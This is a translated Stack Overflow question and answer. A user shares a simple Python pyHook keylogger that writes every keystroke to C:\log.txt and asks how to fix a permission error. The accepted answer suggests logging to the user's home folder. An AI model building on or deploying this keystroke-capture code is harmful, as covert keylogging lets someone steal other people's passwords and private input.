我按照本教程创建了一个简单的 python 键盘记录器:https://www.youtube.com/watch?v=8BiOPBsXh0g
import pyHook, pythoncom, sys, logging
file_log = 'C:\\log.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
当我运行程序并输入一些内容时,我在控制台中收到此错误:
Traceback (most recent call last):
File "C:\Users\Adithya1\Documents\pywin and pyhook\Newfolder\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Users\Adithya1\Documents\pywin and pyhook\New folder\systemdata.pyw", line 6, in OnKeyboardEvent
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
File "C:\Python27\lib\logging\__init__.py", line 1540, in basicConfig
hdlr = FileHandler(filename, mode)
File "C:\Python27\lib\logging\__init__.py", line 911, in __init__
StreamHandler.__init__(self, self._open())
File "C:\Python27\lib\logging\__init__.py", line 936, in _open
stream = open(self.baseFilename, self.mode)
IOError: [Errno 13] Permission denied: 'C:\\log.txt'
这一定与最后一行“权限被拒绝”有关。知道我需要做什么来解决这个问题吗?有什么办法可以以管理员权限运行它吗?
提前致谢
最佳答案
重新发布作为答案以供将来使用
最简单且可以说是最安全的方法是不将日志写入 C 的根目录。将“file_log = 'C:\log.txt'”更改为“file_log = 'C:\Users\Adithya1\log.txt”改为。
有other links用于查找用户的主目录以使其更加便携。
关于python - Python 键盘记录器的权限被拒绝,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/39354197/